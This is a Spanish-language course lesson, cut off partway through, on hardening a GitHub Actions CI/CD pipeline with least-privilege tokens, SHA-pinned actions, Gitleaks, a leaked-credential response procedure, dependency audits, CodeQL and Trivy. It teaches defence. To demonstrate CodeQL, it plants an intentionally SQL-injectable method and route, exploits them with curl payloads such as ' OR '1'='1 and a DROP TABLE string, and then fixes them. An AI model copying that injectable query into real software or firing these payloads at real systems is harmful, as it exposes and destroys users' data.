El pipeline que has construido en las cuatro lecciones anteriores funciona: prueba, construye, publica, despliega, vigila y revierte solo. También es, ahora mismo, deliberadamente permisivo. Tiene un token con más permisos de los que necesita, ejecuta código de terceros que apunta a etiquetas que sus autores pueden mover cuando quieran, no mira nunca si hay un secreto en el historial, no sabe qué vulnerabilidades arrastran sus dependencias, construye imágenes que nadie ha escaneado y despliega artefactos cuya autenticidad no verifica.
Esto no es un descuido del curso: es el estado real del 80 % de los pipelines en producción, y es exactamente el punto desde el que se hace este ejercicio. Vas a auditar tu propio trabajo, escribir la lista de lo que está mal, y arreglarlo pieza a pieza —comprobando cada arreglo con un ataque simulado. Cometerás un secreto a propósito para ver el detector cazarlo y ejecutar el procedimiento de respuesta completo. Introducirás una inyección evidente para ver a CodeQL encontrarla. Intentarás imprimir un secreto para ver que sale enmascarado, y después lo transformarás ligeramente para ver que el enmascarado se rompe. Y verás, con un ejemplo concreto y ejecutable, el ataque que hace de pull_request_target la trampa más peligrosa de GitHub Actions.
Contenido
- Objetivo, requisitos previos y punto de partida
- La auditoría: qué está mal en tu pipeline
permissionsde mínimo privilegio- Fijar las acciones por SHA
- Detección de secretos con Gitleaks
- El procedimiento de respuesta ante un secreto filtrado
- SCA:
npm audit, Dependabot y la política de severidades - SAST: CodeQL y una vulnerabilidad de verdad
- Escaneo de la imagen con Trivy y excepciones que caducan
- SBOM y firma con Cosign
- Verificar la firma antes de desplegar
- Secretos bien gestionados y los límites del enmascarado
- El riesgo del código de terceros:
pull_request_target - La checklist final de endurecimiento
- Errores Comunes y Consejos
- Ejercicios
- Conclusión
- Objetivo, requisitos previos y punto de partida
Objetivo. Al terminar, tu pipeline tendrá permisos mínimos verificados, acciones fijadas por SHA, los cinco escaneos de seguridad con una política de severidades explícita, un SBOM y una firma que se verifica antes de desplegar, y ningún secreto de larga vida en el camino crítico.
Requisitos previos. Las lecciones 07-01 a 07-04 completadas. Docker funcionando.
Punto de partida. El repositorio tras la 07-04: ci.yml, cd.yml, rollback.yml, dora.yml, la pila de observabilidad y los scripts.
- La auditoría: qué está mal en tu pipeline
Antes de arreglar nada, hay que ver. Recorre tus propios ficheros con esta lista y marca lo que encuentres. Es la misma lista que usarías para auditar el pipeline de otro equipo.
# Herramienta de auditoria rapida: que acciones usas y como estan fijadas
grep -rhoP '(?<=uses: ).*' .github/workflows/ | sort -u
# Que jobs declaran permisos
grep -rn -A3 'permissions:' .github/workflows/
# Que secretos se usan y donde
grep -rn 'secrets\.' .github/workflows/| # | Hallazgo | Dónde | Riesgo | Severidad |
|---|---|---|---|---|
| 1 | Jobs sin permissions explícito |
dora.yml, jobs del cd.yml |
El GITHUB_TOKEN hereda el permiso por defecto del repositorio; si está en read and write, cualquier paso puede escribir en el repo, borrar ramas o publicar paquetes |
Alta |
| 2 | Acciones fijadas por tag flotante (@v4) |
Todos los workflows | El propietario de la acción —o quien comprometa su cuenta— puede mover v4 a código malicioso que se ejecutará en tu runner con tus secretos |
Alta |
| 3 | Ningún escaneo de secretos | Todo el repositorio | Una clave commiteada vive en el historial para siempre y nadie se entera | Crítica |
| 4 | Ningún SCA | package.json |
No sabes qué CVE arrastras; better-sqlite3 es un módulo nativo con código C |
Alta |
| 5 | Ningún SAST | src/ |
Inyecciones y patrones peligrosos pasan la revisión humana | Media |
| 6 | La imagen no se escanea | Dockerfile |
La base node:20-bookworm-slim acumula CVE del sistema operativo entre reconstrucciones |
Alta |
| 7 | No hay SBOM ni firma | Registro | No puedes responder "¿estamos afectados por CVE-X?" ni demostrar que la imagen que despliegas es la que construiste | Media |
| 8 | GRAFANA_TOKEN como secreto de repositorio |
cd.yml |
Credencial de larga vida accesible desde cualquier job de cualquier workflow, incluidos los que aún no has escrito | Media |
| 9 | Secretos pasados por env: a nivel de workflow |
Varios | Todos los pasos los ven, incluidos los que ejecutan código de terceros | Media |
| 10 | Sin política de qué rompe el build | — | Cada hallazgo se discute desde cero y acaba ignorándose | Media |
Diez hallazgos en un pipeline que has escrito tú siguiendo un curso. Eso ya es la primera lección: la seguridad de un pipeline no emerge de escribirlo bien; hay que añadirla a propósito.
El plan de la lección, en orden de coste creciente y de riesgo decreciente:
flowchart TD
A["Auditoria<br/>10 hallazgos"] --> B["1. permissions<br/>minimo privilegio"]
B --> C["2. Acciones por SHA"]
C --> D["3. Gitleaks<br/>deteccion de secretos"]
D --> E["4. SCA<br/>npm audit + Dependabot"]
E --> F["5. SAST<br/>CodeQL"]
F --> G["6. Trivy<br/>escaneo de imagen"]
G --> H["7. SBOM + firma<br/>Cosign keyless"]
H --> I["8. Verificar firma<br/>antes de desplegar"]
I --> J["Checklist final"]
permissions de mínimo privilegio
permissions de mínimo privilegioEl GITHUB_TOKEN es una credencial que GitHub inyecta en cada job y que caduca al terminar el run. Su alcance por defecto depende de una configuración del repositorio, y en repositorios antiguos suele ser read and write sobre todo: contenidos, issues, packages, deployments, páginas. Un paso comprometido con ese token puede empujar a main.
Paso 1 — cerrar el grifo por defecto:
Settings → Actions → General → Workflow permissions → Read repository contents and packages permissions. Y desmarca Allow GitHub Actions to create and approve pull requests.
gh api --method PUT "repos/{owner}/{repo}/actions/permissions/workflow" \
-f default_workflow_permissions=read \
-F can_approve_pull_request_reviews=falsePaso 2 — declarar el permiso mínimo, en cada workflow y en cada job.
La tabla de lo que necesita cada job del pipeline:
| Workflow / job | Permisos necesarios | Por qué |
|---|---|---|
ci.yml (global) |
contents: read |
Solo clonar |
ci.yml → publicar |
contents: read, packages: write, id-token: write |
Escribir en ghcr.io y firmar por OIDC |
ci.yml → codeql |
contents: read, security-events: write, actions: read |
Subir resultados a la pestaña Security |
cd.yml (global) |
contents: read |
— |
cd.yml → staging/produccion |
contents: read, packages: read |
Descargar la imagen |
cd.yml → web |
contents: read, pages: write, id-token: write |
Publicar en Pages |
cd.yml → vigilar |
contents: read, actions: write |
Lanzar rollback.yml |
dora.yml |
contents: read, deployments: read, actions: read |
Leer despliegues y runs |
rollback.yml |
contents: read, packages: read |
— |
La regla: permissions a nivel de workflow con lo mínimo absoluto, y ampliación puntual solo en el job que lo necesita. Un permissions a nivel de workflow sustituye al valor por defecto por completo: si escribes packages: write ahí, todos los demás permisos pasan a none, lo cual es una forma cómoda de descubrir cuáles hacían falta.
# .github/workflows/ci.yml
permissions:
contents: read # todo lo demas queda en `none`
jobs:
calidad:
# sin bloque `permissions`: hereda contents: read
...
publicar:
permissions:
contents: read
packages: write # solo este job puede escribir en el registro
id-token: write # solo este job puede pedir un token OIDC
...Comprobación de que falla cuando debe fallar. Quita temporalmente packages: write del job publicar y empuja:
ERROR: failed to push ghcr.io/tu-usuario/mini-reservalia:sha-8f3c1e2: denied: installation not allowed to Create organization package
Ese mensaje es engañoso —habla de "organization package" aunque sea tu cuenta personal—, y por eso vale la pena provocarlo una vez: la próxima vez que lo veas en un pipeline ajeno sabrás en tres segundos que es un permissions que falta, y no una configuración del registro.
Otros mensajes que significan lo mismo:
| Mensaje | Permiso que falta |
|---|---|
Resource not accessible by integration |
Casi siempre contents: write, issues: write o pull-requests: write |
denied: installation not allowed to Create organization package |
packages: write |
Error: Unable to get ACTIONS_ID_TOKEN_REQUEST_URL |
id-token: write |
HttpError: Resource not accessible by integration al subir SARIF |
security-events: write |
- Fijar las acciones por SHA
uses: actions/checkout@v4 significa "ejecuta lo que haya hoy en la etiqueta v4 del repositorio actions/checkout". Una etiqueta de Git se puede mover. Si alguien compromete la cuenta del mantenedor de una acción popular y mueve la etiqueta, su código se ejecuta en tu runner, con acceso a tu sistema de ficheros, a tus secretos y a tu GITHUB_TOKEN, en todos los repositorios del mundo que la usen. No es hipotético: ha ocurrido con acciones muy usadas.
Fijar por SHA elimina la clase entera de ataque, porque un SHA es el contenido.
Un script que lo hace por ti para todo el repositorio:
#!/usr/bin/env bash
# scripts/fijar-acciones.sh
# Sustituye `owner/repo@vX` por `owner/repo@<sha> # vX` en los workflows.
set -Eeuo pipefail
command -v gh >/dev/null || { echo "Se necesita la CLI de GitHub (gh)"; exit 2; }
for fichero in .github/workflows/*.yml; do
echo "== $fichero"
# Solo las acciones de repositorio (owner/repo@ref); se excluyen
# las locales (./.github/actions/...) y las de docker://
grep -oP '(?<=uses: )[\w.-]+/[\w.-]+(?:/[\w.-]+)*@[\w.-]+' "$fichero" | sort -u | while read -r ref; do
accion="${ref%@*}"
version="${ref#*@}"
# Si ya son 40 caracteres hexadecimales, esta fijada: no tocar.
[[ "$version" =~ ^[0-9a-f]{40}$ ]] && continue
repo="$(cut -d/ -f1,2 <<< "$accion")"
sha="$(gh api "repos/${repo}/git/refs/tags/${version}" --jq '.object.sha' 2>/dev/null || true)"
# Las etiquetas anotadas apuntan a un objeto tag, no al commit:
# hay que desreferenciarlas.
if [ -n "$sha" ]; then
tipo="$(gh api "repos/${repo}/git/tags/${sha}" --jq '.object.sha' 2>/dev/null || true)"
[ -n "$tipo" ] && sha="$tipo"
fi
[ -z "$sha" ] && { echo " ! no se pudo resolver $ref"; continue; }
echo " $ref -> $sha"
sed -i "s|uses: ${accion}@${version}\$|uses: ${accion}@${sha} # ${version}|g" "$fichero"
done
done
echo "Listo. Revisa el diff antes de commitear."Qué debes ver:
- - uses: actions/checkout@v4
+ - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- - uses: actions/setup-node@v4
+ - uses: actions/setup-node@39370e3970a6d050c480ffad4ff0ed4d3fdee5af # v4.1.0El comentario # v4.2.2 es imprescindible: sin él, el fichero se vuelve ilegible y nadie sabe si está actualizado. Con él, Dependabot puede actualizarlo automáticamente (siguiente apartado) y tú puedes leerlo.
Cómo mantenerlo actualizado sin trabajo manual. Fijar por SHA sin automatizar la actualización crea un problema distinto: acciones congeladas durante años, con sus propios bugs y CVE. La solución es Dependabot, que entiende el comentario y abre PR con el SHA nuevo. .github/dependabot.yml:
version: 2
updates:
# 1. Las acciones de GitHub Actions
- package-ecosystem: github-actions
directory: /
schedule:
interval: weekly
day: monday
time: '06:00'
open-pull-requests-limit: 5
commit-message:
prefix: 'ci'
labels: ['dependencias', 'ci']
# 2. Las dependencias de npm
- package-ecosystem: npm
directory: /
schedule:
interval: weekly
open-pull-requests-limit: 10
commit-message:
prefix: 'deps'
labels: ['dependencias']
groups:
# Agrupar las de desarrollo en un solo PR: 8 PR de parches de
# eslint por semana es la forma mas rapida de que el equipo aprenda
# a ignorar los PR de Dependabot.
desarrollo:
dependency-type: development
update-types: ['minor', 'patch']
ignore:
# Los mayores se revisan a mano, no automaticamente.
- dependency-name: '*'
update-types: ['version-update:semver-major']
# 3. La imagen base del Dockerfile
- package-ecosystem: docker
directory: /
schedule:
interval: weekly
labels: ['dependencias', 'docker']
- Detección de secretos con Gitleaks
Un secreto commiteado es un secreto público, aunque el repositorio sea privado y aunque lo borres en el commit siguiente: sigue en el historial, en los forks, en las cachés de los clientes y en los mirrors de terceros que raspan GitHub en tiempo real. El tiempo medio entre que se publica una clave de AWS en GitHub y que alguien la usa se mide en minutos.
Configuración, .gitleaks.toml:
# .gitleaks.toml
title = "Mini-Reservalia"
# Partimos de las ~150 reglas por defecto de Gitleaks y anadimos las nuestras.
[extend]
useDefault = true
[[rules]]
id = "token-interno-reservalia"
description = "Token interno de Reservalia (rsv_...)"
regex = '''rsv_[a-zA-Z0-9]{32}'''
tags = ["clave", "interno"]
[[rules]]
id = "url-postgres-con-password"
description = "Cadena de conexion de PostgreSQL con contrasena"
regex = '''postgres(?:ql)?://[^:\s]+:[^@\s]{6,}@[^\s/]+'''
tags = ["base-datos"]
[allowlist]
description = "Falsos positivos conocidos y justificados"
paths = [
'''package-lock\.json''', # los integrity hashes parecen claves
'''(.*?)(jpg|png|webp|pdf)$''',
'''cursos_contenido/.*\.md$''',
]
regexes = [
'''EXAMPLE|EJEMPLO|xxxxx|CAMBIAME|placeholder''', # valores de documentacion
'''postgres://postgres:prueba@localhost''', # el de las pruebas de la 07-02
]El job:
secretos:
name: Deteccion de secretos
runs-on: ubuntu-latest
timeout-minutes: 10
permissions:
contents: read
security-events: write
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
with:
# fetch-depth: 0 escanea TODO el historial, no solo el ultimo commit.
# Es mas lento pero es el unico modo de encontrar lo que ya esta dentro.
fetch-depth: 0
- name: Gitleaks
uses: gitleaks/gitleaks-action@83373cf2f8c4db6e24b41c1a9b086bb9619e9cd3 # v2.3.7
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
GITLEAKS_ENABLE_UPLOAD_ARTIFACT: 'true'
GITLEAKS_ENABLE_SUMMARY: 'true'O, sin depender de una acción de terceros —preferible según el criterio de la 06-07, "menos superficie de suministro"—:
- name: Gitleaks (binario fijado por version)
run: |
set -Eeuo pipefail
VERSION=8.21.2
curl -sSL "https://github.com/gitleaks/gitleaks/releases/download/v${VERSION}/gitleaks_${VERSION}_linux_x64.tar.gz" \
| tar -xz gitleaks
./gitleaks detect \
--source . \
--config .gitleaks.toml \
--report-format sarif \
--report-path resultados-gitleaks.sarif \
--redact \
--verbose \
--exit-code 1
# --redact: los secretos NO aparecen en el log del pipeline.
# Sin esto, el detector de secretos publica el secreto en un log
# que puede leer cualquiera con acceso al repositorio.
- name: Subir resultados a la pestana Security
if: always()
uses: github/codeql-action/upload-sarif@f09c1c0a94de965c15400f5634aa42fac8fb8f88 # v3.27.5
with:
sarif_file: resultados-gitleaks.sarif
category: gitleaksEse --redact es un detalle que se olvida constantemente y que convierte la herramienta en su propio problema: sin él, el log del job muestra la clave completa, y los logs de Actions son visibles para todos los colaboradores y quedan retenidos 90 días.
Añádelo también como hook local, porque detectarlo en CI significa que ya está empujado:
npm install --save-dev husky
npx husky init
cat > .husky/pre-commit <<'EOF'
#!/usr/bin/env sh
# Escanea SOLO lo que se va a commitear: rapido (< 1 s).
if command -v gitleaks >/dev/null 2>&1; then
gitleaks protect --staged --config .gitleaks.toml --redact --verbose || {
echo ""
echo "❌ Se ha detectado un posible secreto en los cambios preparados."
echo " Sacalo del codigo y usa una variable de entorno o un secreto del repositorio."
echo " Si es un falso positivo, anadelo a la allowlist de .gitleaks.toml."
exit 1
}
fi
npm run lint && npm test
EOF
chmod +x .husky/pre-commit
- El procedimiento de respuesta ante un secreto filtrado
Ahora la parte del ejercicio que de verdad enseña. Vamos a filtrar un secreto a propósito.
git checkout -b filtrar-secreto-de-prueba
cat > src/config-temporal.js <<'EOF'
// FICHERO DE PRUEBA - se borrara. NO es un secreto real.
export const CONFIG = {
// Clave de AWS con el formato exacto que buscan los detectores.
awsAccessKeyId: 'AKIAIOSFODNN7EXAMPLE',
awsSecretAccessKey: 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY',
tokenInterno: 'rsv_a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6',
baseDatos: 'postgres://admin:[email protected]:5432/reservalia',
};
EOF
git add src/config-temporal.js
git commit -m "feat: configuracion temporal" # el hook lo bloquea si lo instalasteSi el hook lo bloquea, eso ya es media lección. Sáltatelo a propósito para ver el resto del flujo:
git commit --no-verify -m "feat: configuracion temporal"
git push -u origin filtrar-secreto-de-prueba
gh pr create --fillQué debes ver:
- El job
Deteccion de secretosen rojo. - En el log, con
--redact:Finding: awsAccessKeyId: 'REDACTED' Secret: REDACTED RuleID: aws-access-token File: src/config-temporal.js Line: 5 Commit: 3f8a1c2... Author: Tu Nombre ... 4 leaks found - En la pestaña Security → Code scanning, cuatro alertas nuevas con la categoría
gitleaks, cada una anclada a su línea. - El check
CI OKen rojo y el PR bloqueado.
El procedimiento, en el orden correcto
Este es el contenido de la lección. El orden no es negociable y casi todo el mundo lo hace al revés.
flowchart TD
D["Deteccion"] --> R1["1. ROTAR<br/>invalidar la credencial<br/>(minutos)"]
R1 --> R2["2. INVESTIGAR<br/>revisar accesos con esa credencial"]
R2 --> R3["3. LIMPIAR<br/>reescribir el historial<br/>(horas o dias)"]
R3 --> R4["4. PREVENIR<br/>hook + CI + formacion"]
R4 --> R5["5. POST-MORTEM<br/>sin buscar culpables"]
Paso 1 — ROTAR. Primero, y ya.
Invalida la credencial en el sistema que la emitió. En AWS: desactivar la clave y crear una nueva. En un proveedor: revocar el token. En una base de datos: cambiar la contraseña.
# Ejemplo con AWS (equivalente de Reservalia)
aws iam update-access-key --access-key-id AKIA... --status Inactive --user-name servicio-ci
aws iam create-access-key --user-name servicio-ci
# ...actualizar el secreto en GitHub...
aws iam delete-access-key --access-key-id AKIA... --user-name servicio-ci
# En GitHub
gh secret set AWS_ACCESS_KEY_ID --body "AKIA_NUEVA"Por qué primero. Porque limpiar el historial no invalida nada. Mientras la credencial siga siendo válida, sigue siendo utilizable por cualquiera que ya la haya copiado —y los bots que raspan GitHub la copiaron en los primeros minutos—. Reescribir el historial es una tarea de horas que además requiere coordinar a todo el equipo; rotar son dos minutos. Cada minuto que dedicas a limpiar antes de rotar es un minuto en que la puerta sigue abierta.
Hay un matiz importante que refuerza el orden: reescribir el historial avisa al atacante. Un force-push que borra un commit es una señal clara de "nos hemos dado cuenta". Si aún no has rotado, acabas de darle prisa.
Paso 2 — INVESTIGAR el uso.
# AWS CloudTrail: que se hizo con esa clave y desde donde
aws cloudtrail lookup-events \
--lookup-attributes AttributeKey=AccessKeyId,AttributeValue=AKIA... \
--start-time "$(date -u -d '30 days ago' +%Y-%m-%dT%H:%M:%SZ)" \
--max-results 50Preguntas a responder: ¿se usó desde una IP desconocida? ¿Se crearon recursos? ¿Se accedió a datos? Si la respuesta a cualquiera es sí, esto deja de ser un incidente de seguridad del pipeline y pasa a ser una brecha, con las obligaciones legales que correspondan.
Paso 3 — LIMPIAR el historial.
# git-filter-repo es la herramienta recomendada (filter-branch esta obsoleta)
pip install git-filter-repo
# Opcion A: eliminar el fichero entero de todo el historial
git filter-repo --path src/config-temporal.js --invert-paths --force
# Opcion B: sustituir solo los valores, conservando los ficheros
cat > /tmp/reemplazos.txt <<'EOF'
AKIAIOSFODNN7EXAMPLE==>ROTADO-VER-INCIDENTE-42
wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY==>ROTADO-VER-INCIDENTE-42
SuperSecreta2026==>ROTADO-VER-INCIDENTE-42
EOF
git filter-repo --replace-text /tmp/reemplazos.txt --force
# Reescribir el remoto (COORDINALO con todo el equipo antes)
git remote add origin https://github.com/TU_USUARIO/mini-reservalia.git
git push origin --force --all
git push origin --force --tagsY lo que casi nadie hace, aunque es lo que cierra el agujero de verdad:
# Los PR, issues y comentarios que citan el commit conservan copias.
# La cache de GitHub tambien. Hay que pedir a soporte que la purgue:
# https://support.github.com/contact -> "Remove cached views"
# Ademas: cada FORK del repositorio conserva el commit COMPLETO,
# y tu no puedes borrar los forks de otras personas.Esa última realidad es la que justifica todo el orden anterior. Un secreto que ha estado en un repositorio con forks no se puede borrar. Solo se puede rotar.
Paso 4 — PREVENIR. El hook de pre-commit, el job de CI, el escaneo de todo el historial una vez, y la formación del equipo sobre dónde van los secretos.
Paso 5 — POST-MORTEM sin culpables. La pregunta correcta no es "¿quién commiteó la clave?" sino "¿por qué era posible?". Y las respuestas suelen ser sistémicas: no había hook, el .gitignore no cubría el fichero de configuración, el flujo local exigía escribir la clave en un fichero, nadie había explicado dónde iban los secretos. Todas tienen arreglo; "ten más cuidado" no lo tiene.
Limpia el ejercicio:
git checkout main
git branch -D filtrar-secreto-de-prueba
git push origin --delete filtrar-secreto-de-prueba
gh pr close <numero> 2>/dev/null || true
- SCA:
npm audit, Dependabot y la política de severidades
npm audit, Dependabot y la política de severidadesEl análisis de composición de software (SCA) busca vulnerabilidades conocidas en tus dependencias. Mini-Reservalia tiene pocas, pero better-sqlite3 arrastra código nativo y el árbol de desarrollo tiene más de cien paquetes.
npm audit --json | jq '.metadata.vulnerabilities'
# { "info": 0, "low": 2, "moderate": 1, "high": 0, "critical": 0, "total": 3 }El problema de npm audit --audit-level=high a secas es que trata igual una vulnerabilidad crítica en producción y una moderada en una herramienta de desarrollo que nunca se ejecuta con datos de usuario. El resultado predecible: el build se rompe por algo irrelevante, alguien añade || true, y el escaneo deja de existir.
La política, explícita y en el repositorio. seguridad/POLITICA.md:
# Política de severidades
| Severidad | Producción | Desarrollo | Acción | Plazo |
|---|---|---|---|---|
| **Crítica** | Rompe el build | Rompe el build | Bloqueo inmediato | 24 h |
| **Alta** | Rompe el build | Abre un ticket | Bloqueo en producción | 7 días |
| **Media** | Abre un ticket | Abre un ticket | No bloquea | 30 días |
| **Baja** | Informa | Informa | Revisión trimestral | — |
**Excepciones.** Toda excepción requiere: (a) justificación escrita,
(b) fecha de caducidad no superior a 90 días, (c) aprobación de un segundo
revisor. Se registran en `seguridad/excepciones.json` y **caducan solas**:
pasada la fecha, el build vuelve a romperse.
**Sin `|| true`.** Si un escaneo no puede romper el build, no es un control.
Si algo no debe romperlo, se decide aquí, no en el YAML.La implementación con jq, scripts/auditar-dependencias.sh:
#!/usr/bin/env bash
# Aplica la politica de severidades sobre `npm audit --json`.
set -Eeuo pipefail
INFORME="${INFORME:-informes/audit.json}"
EXCEPCIONES="${EXCEPCIONES:-seguridad/excepciones.json}"
mkdir -p "$(dirname "$INFORME")"
# `|| true`: npm audit sale con codigo != 0 cuando encuentra algo.
# Aqui NO ignoramos el resultado: lo procesamos nosotros con la politica.
npm audit --json > "$INFORME" 2>/dev/null || true
HOY="$(date -u +%Y-%m-%d)"
# --- Excepciones vigentes (las caducadas se ignoran a proposito) -------------
VIGENTES='[]'
if [ -f "$EXCEPCIONES" ]; then
VIGENTES=$(jq --arg hoy "$HOY" '[.excepciones[] | select(.caduca >= $hoy) | .id]' "$EXCEPCIONES")
CADUCADAS=$(jq --arg hoy "$HOY" '[.excepciones[] | select(.caduca < $hoy)]' "$EXCEPCIONES")
N_CADUCADAS=$(jq 'length' <<< "$CADUCADAS")
if [ "$N_CADUCADAS" -gt 0 ]; then
echo "::warning::$N_CADUCADAS excepcion(es) de seguridad han caducado y vuelven a bloquear:"
jq -r '.[] | " - \(.id): \(.motivo) (caduco el \(.caduca))"' <<< "$CADUCADAS"
fi
fi
# --- Clasificar los hallazgos ------------------------------------------------
BLOQUEANTES=$(jq --argjson exc "$VIGENTES" '
[ .vulnerabilities // {} | to_entries[]
| select(.value.severity == "critical" or .value.severity == "high")
| select((.value.isDirect == true) or (.value.effects | length) > 0)
| select((.key | IN($exc[])) | not)
| { paquete: .key, severidad: .value.severity, via: (.value.via | map(if type=="object" then .title else . end)) }
]' "$INFORME")
N_BLOQ=$(jq 'length' <<< "$BLOQUEANTES")
RESUMEN=$(jq -r '.metadata.vulnerabilities | "críticas: \(.critical) · altas: \(.high) · medias: \(.moderate) · bajas: \(.low)"' "$INFORME")
{
echo "## Auditoría de dependencias"
echo ""
echo "**Resumen:** $RESUMEN"
echo ""
if [ "$N_BLOQ" -gt 0 ]; then
echo "### ❌ $N_BLOQ hallazgo(s) bloqueante(s)"
echo ""
echo "| Paquete | Severidad | Detalle |"
echo "|---|---|---|"
jq -r '.[] | "| `\(.paquete)` | \(.severidad) | \(.via | join(", ") | .[0:90]) |"' <<< "$BLOQUEANTES"
else
echo "### ✅ Sin hallazgos bloqueantes según la política"
fi
echo ""
echo "> Política completa en [\`seguridad/POLITICA.md\`](seguridad/POLITICA.md)"
} >> "${GITHUB_STEP_SUMMARY:-/dev/stdout}"
if [ "$N_BLOQ" -gt 0 ]; then
echo "::error::$N_BLOQ vulnerabilidad(es) critica(s)/alta(s) sin excepcion vigente"
jq -r '.[] | " - \(.paquete) [\(.severidad)]"' <<< "$BLOQUEANTES"
exit 1
fi
echo "Auditoria superada: $RESUMEN"seguridad/excepciones.json:
{
"$comentario": "Excepciones de seguridad. Cada una CADUCA. Ver seguridad/POLITICA.md.",
"excepciones": [
{
"id": "ejemplo-paquete",
"severidad": "high",
"motivo": "Solo afecta al parseo de ficheros SVG subidos por el usuario; Mini-Reservalia no acepta subidas. No hay parche aun (upstream #1234).",
"aprobado_por": "@marta",
"creada": "2026-04-10",
"caduca": "2026-07-09",
"revision": "Comprobar si upstream ha publicado el parche"
}
]
}Tres propiedades que hacen que esta política sobreviva al contacto con un equipo real:
- Las excepciones caducan solas. Pasada la fecha, el build vuelve a romperse y sale un aviso. Una excepción sin caducidad es un
|| truecon mejor presentación. - Se distingue producción de desarrollo. Un CVE en una herramienta de build es un riesgo real (podría comprometer la cadena de suministro), pero no el mismo que uno en código que procesa peticiones de internet.
- Están en el repositorio. Se revisan en un PR, tienen autor y fecha, y cualquiera puede auditar por qué se aceptó cada riesgo.
- SAST: CodeQL y una vulnerabilidad de verdad
El análisis estático de seguridad busca patrones peligrosos en tu código, no en el de otros. CodeQL es gratuito en repositorios públicos.
codeql:
name: SAST (CodeQL)
runs-on: ubuntu-latest
timeout-minutes: 20
permissions:
contents: read
security-events: write
actions: read
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- name: Inicializar CodeQL
uses: github/codeql-action/init@f09c1c0a94de965c15400f5634aa42fac8fb8f88 # v3.27.5
with:
languages: javascript-typescript
# `security-extended` anade consultas de menor precision pero mayor
# cobertura. En un proyecto pequeno el ruido es asumible; en uno
# grande, empieza por `security-and-quality` y sube desde ahi.
queries: security-extended
- name: Analizar
uses: github/codeql-action/analyze@f09c1c0a94de965c15400f5634aa42fac8fb8f88 # v3.27.5
with:
category: '/language:javascript-typescript'Ahora introduce una vulnerabilidad evidente para comprobar que el escáner sirve. En src/repositorio-sqlite.js, añade un método deliberadamente malo:
/**
* VULNERABLE A PROPOSITO - ejercicio de la leccion 07-05.
* Concatena la entrada del usuario en la consulta SQL.
*/
buscarPorCliente(nombre) {
// ❌ INYECCION SQL: `nombre` viene de un parametro de la peticion.
// Con nombre = "' OR '1'='1" se devuelven TODAS las citas.
// Con nombre = "'; DROP TABLE citas; --" se pierde la tabla.
return this.#db.prepare(`SELECT * FROM citas WHERE cliente = '${nombre}'`).all();
}Y en src/servidor.js, la ruta que la expone (para que CodeQL vea el camino completo desde la entrada del usuario hasta la consulta, que es lo que busca su análisis de flujo de datos):
if (req.method === 'GET' && url.pathname === '/api/buscar') {
const nombre = url.searchParams.get('cliente') ?? '';
// ❌ `nombre` va sin sanear a una consulta construida por concatenacion
return responderJson(res, 200, { resultados: repositorio.buscarPorCliente(nombre) });
}Empuja en un PR y espera al análisis (2-4 minutos).
Qué debes ver en Security → Code scanning:
Database query built from user-controlled sources High
src/repositorio-sqlite.js:52
This query depends on a user-provided value.
← flows from: url.searchParams.get('cliente') (src/servidor.js:78)Pincha en la alerta: CodeQL dibuja el camino completo desde el parámetro de la petición hasta la consulta. Ese análisis de flujo de datos es lo que distingue el SAST de una expresión regular: no busca la cadena SELECT ... ${, busca que un valor controlado por el usuario llegue hasta un sumidero peligroso, aunque pase por tres funciones y dos ficheros.
Demuéstrate el impacto antes de arreglarlo:
npm start &
curl -s "localhost:3000/api/buscar?cliente=Ana"
# {"resultados":[{"id":1,"cliente":"Ana",...}]}
curl -s "localhost:3000/api/buscar?cliente=%27%20OR%20%271%27=%271"
# {"resultados":[ ...TODAS las citas de TODOS los clientes... ]}El arreglo:
/**
* Busca citas por nombre exacto de cliente.
* Sentencia PREPARADA con parametro: el motor trata el valor como DATO,
* nunca como SQL. La inyeccion es imposible por construccion, no por
* saneado. Sanear es un parche; parametrizar es la solucion.
*/
buscarPorCliente(nombre) {
if (typeof nombre !== 'string' || nombre.length === 0 || nombre.length > 80) {
throw new TypeError('nombre de cliente invalido');
}
return this.#db
.prepare('SELECT id, fecha, inicio, fin, cliente FROM citas WHERE cliente = ? ORDER BY fecha, inicio')
.all(nombre);
}Y una prueba que impide la regresión:
// test/inyeccion.test.js
import test, { describe, beforeEach } from 'node:test';
import assert from 'node:assert/strict';
import { RepositorioSqlite } from '../src/repositorio-sqlite.js';
describe('resistencia a la inyeccion SQL', () => {
let repo;
beforeEach(() => {
repo = new RepositorioSqlite(':memory:');
repo.crearCita({ fecha: '2026-03-02', inicio: '10:00', fin: '10:30', cliente: 'Ana' });
repo.crearCita({ fecha: '2026-03-02', inicio: '11:00', fin: '11:30', cliente: 'Diego' });
});
test("' OR '1'='1 no devuelve todas las filas", () => {
assert.deepEqual(repo.buscarPorCliente("' OR '1'='1"), []);
});
test('un DROP TABLE inyectado no destruye nada', () => {
repo.buscarPorCliente("'; DROP TABLE citas; --");
assert.equal(repo.listarCitas('2026-03-02').length, 2); // la tabla sigue ahi
});
test('un nombre con comilla simple se busca literalmente', () => {
repo.crearCita({ fecha: '2026-03-03', inicio: '10:00', fin: '10:30', cliente: "O'Brien" });
assert.equal(repo.buscarPorCliente("O'Brien").length, 1);
});
});Esa última prueba es la que demuestra que has parametrizado y no escapado: con un saneado casero que borra comillas, O'Brien no se encontraría nunca.
Empuja el arreglo y observa cómo la alerta pasa a Closed en la pestaña Security, con la nota "Fixed in commit ...".
- Escaneo de la imagen con Trivy y excepciones que caducan
Tu imagen no es solo tu código: es Debian, OpenSSL, glibc, el runtime de Node y todo lo que arrastran. Esas capas acumulan CVE sin que tú cambies una línea.
- name: Escanear la imagen con Trivy
uses: aquasecurity/trivy-action@18f2510ee396bbf400402947b394f2dd8c87dbb0 # 0.29.0
with:
image-ref: ghcr.io/${{ github.repository }}@${{ steps.construir.outputs.digest }}
format: sarif
output: trivy.sarif
severity: 'CRITICAL,HIGH'
# `0` aqui: NO rompemos con la accion, para poder subir SIEMPRE el
# SARIF a la pestana Security. La decision de romper la toma el
# paso siguiente, con NUESTRA politica y NUESTRAS excepciones.
exit-code: '0'
ignore-unfixed: true # sin parche disponible no hay accion posible
trivyignores: seguridad/.trivyignore
- name: Subir resultados a Security
if: always()
